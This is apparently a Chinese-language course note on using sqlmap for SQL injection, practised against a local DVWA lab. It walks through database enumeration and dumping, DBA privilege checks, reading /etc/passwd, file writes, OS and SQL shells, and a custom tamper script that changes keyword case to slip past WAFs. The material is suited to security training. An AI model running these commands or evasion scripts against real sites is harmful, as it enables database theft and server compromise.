【046-WEB攻防篇】注入工具SQLMAPTamper编写指纹修改高权限操作目录架构 知识点1、注入工具-SQLMAP-常规猜解字典配置2、注入工具-SQLMAP-权限操作文件命令3、注入工具-SQLMAP-Tamper使用开发4、注入工具-SQLMAP-调试指纹风险等级演示案例数据猜解-库表列数据字典权限操作-文件命令交互式提交方法-POSTHEADJSON绕过模块-Tamper脚本-使用开发分析拓展-代理调试指纹风险等级参考https://www.cnblogs.com/bmjoker/p/9326258.html数据猜解-库表列数据字典常用语法python sqlmap.py-h#这个是sqlmap的命令大全不记得直接输入-uurl#指定 GET 请求目标地址URL 必须英文双引号包裹--batch#自动确认所有询问不用手动回车每条命令尽量带上--data参数值#POST 表单数据,如果是post请求用这个-r数据包.txt#导入 Burp 抓取的完整 HTTP 请求最强推荐自动携带 Cookie、请求头--cookiekeyvalue#手动添加 Cookie访问需要登录的页面--random-agent#随机浏览器 UA防止被 WAF 识别爬虫--ignore-cert#忽略 HTTPS 证书报错国外网站经常遇到--delay1#每次请求间隔 1 秒避免请求太快被封 IP--time-sec数字#时间盲注的延迟时间--flush-session#清空当前目标的历史会话缓存## 漏洞存在后使用的命令--dbs#列出服务器上所有数据库-D库名--tables#指定数据库列出里面所有数据表-D库名-T表名--columns#查看表中的字段比如 username、password-D库名-T表名--dump#导出表内所有数据脱库--current-db# 查看当前网站正在使用的数据库--current-user#查看当前数据库连接账号实战实战网站https://sekumart.sekuripy.hr/这个是sqlmap官方的先随便尝试本人是在dvwa实践过Windows和Linux的前置语法有细微差别。2. 扫到两个数据库后面就是拿这两个数据库再扫里面的字段不赘述在dvwa的SQLmap实战middle难度因为这个是需要登录的按f12找到cookie值找到库看dvwa数据库存在什么表获取表信息权限操作-文件命令交互式测试MYSQL高权限注入引出权限--is-dba #判断当前数据库账号是不是管理员root--privileges #查看当前账号拥有哪些数据库权限重点看是否有 FILE 权限引出文件--file-read #读取服务器本地文件load_file()--file-write本地文件路径 --file-dest服务器路径 #上传写入文件into outfile引出命令--os-cmd # 执行单条系统命令--os-shell #获取交互式系统命令终端最常用--sql-shell # 获取交互式 SQL 查询终端实战在dvwa的SQL注入部分用low来尝试命令。sqlmap-uhttp://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit--cookiesecuritylow; PHPSESSIDb74ceb6e450e9102fe7f5238cbc98047--batch--is-dba这里写了后端数据库MySQL(MariaDB)且操作系统Debian LinuxKali 本机。最重要的是current user is DBA: True说明是root管理员这就有很多权限了。sqlmap-uhttp://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit--cookiesecuritylow; PHPSESSIDb74ceb6e450e9102fe7f5238cbc98047--batch--privileges这里写了有dvwa数据库的39项权限其中有file上传文件super最高权限select查库啥的sqlmap-uhttp://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit--cookiesecuritylow; PHPSESSIDb74ceb6e450e9102fe7f5238cbc98047--batch--file-read/etc/passwd拿到了文件/etc/word在我本机的sqlmap/output/那个目录下。后续几个写入文件写入不了后面在自己本地改了权限才能写入。sqlmap-uhttp://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit--cookiesecuritylow; PHPSESSIDb74ceb6e450e9102fe7f5238cbc98047--batch--sql-shellSQL 交互 shell手动写 SQL 语句提交方法-POSTHEADJSON测试Post Cookie Json–data “”–cookie “”-r 1.txt此部分意思就是POST请求URI不会传参而get请求会所以如果是类似下图这种的post请求需要传data参数。然后cookie只要需要登录的网站都需要传-r需要结合burp suite来使用绕过模块-Tamper脚本-使用开发测试base64注入 有过滤的注入–tamperbase64encode.py–tampertest.py脚本from lib.core.enumsimportPRIORITY# 导入优先级常量__priority__PRIORITY.LOW# 优先级LOW/MEDIUM/HIGH多个tamper同时启用时按优先级顺序执行def dependencies(): pass# 依赖检测函数检查目标环境、数据库类型不满足就不启用脚本空代表无限制def tamper(payload, **kwargs):# 核心函数 payloadsqlmap原生生成的注入语句ifpayload: payloadpayload.replace(SELECT,sElEct)# 大小写变形payloadpayload.replace(OR,Or)payloadpayload.replace(AND,And)payloadpayload.replace(SLEEP,SleeP)payloadpayload.replace(ELT,Elt)returnpayload# 返回修改完成的payload给sqlmap发包Tamper 是什么Tamper SQLMap 载荷混淆脚本作用修改 SQLmap 发送的注入 Payload用来绕过 WAF、网站关键词过滤。网站防火墙会拦截 SELECT、AND、OR、SLEEP 这类关键词tamper 脚本对 payload 变形达到绕过效果。sqlmap-uhttp://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit--cookiesecuritylow; PHPSESSIDb74ceb6e450e9102fe7f5238cbc98047--batch--tamperrandomcase--dbs用这个他可以替换大小写randomcase是官方自带随机替换payload的大小写字母的脚本。但是现代防护这个几乎没用。这种脚本可以叠加使用。自己写的脚本可以sqlmap 你的完整参数 --tamper./test.py后面的“”部分是写脚本存放的位置分析拓展-代理调试指纹风险等级1、后期分析调试-v(0-6)#详细的等级(0-6)--proxyhttp://xx:xx#代理注入可以放入burp suite中-v 0 只输出关键结果最安静-v 1 默认等级-v 2 打印payload-v 3 打印payload请求头-v 4 【调试tamper首选】完整HTTP请求包-v 5 请求完整响应包-v 6 极致调试打印所有底层数据包2、打乱默认指纹--user-agent#自定义user-agent手动指定 UA例如模仿 Chrome这个和下面那个只能选一个加--random-agent#随机user-agent,伪装成普通浏览器实战必加--time-sec(2,5)#延迟响应默认为53、使用更多的测试测试Header注入–level(1-5) #要执行的测试水平等级默认为1–risk(0-3) #测试执行的风险等级默认为1evel 1默认只测试 GET 参数level 2增加测试 Cookielevel 3增加测试 User-Agent、Refererlevel 4更多 HTTP 头level 5极致全面大量 payload速度很慢risk 1默认安全 payload不会修改 / 删除数据查询类risk 2少量中等风险risk 3高危包含 DELETE / UPDATE / DROP 破坏性 SQL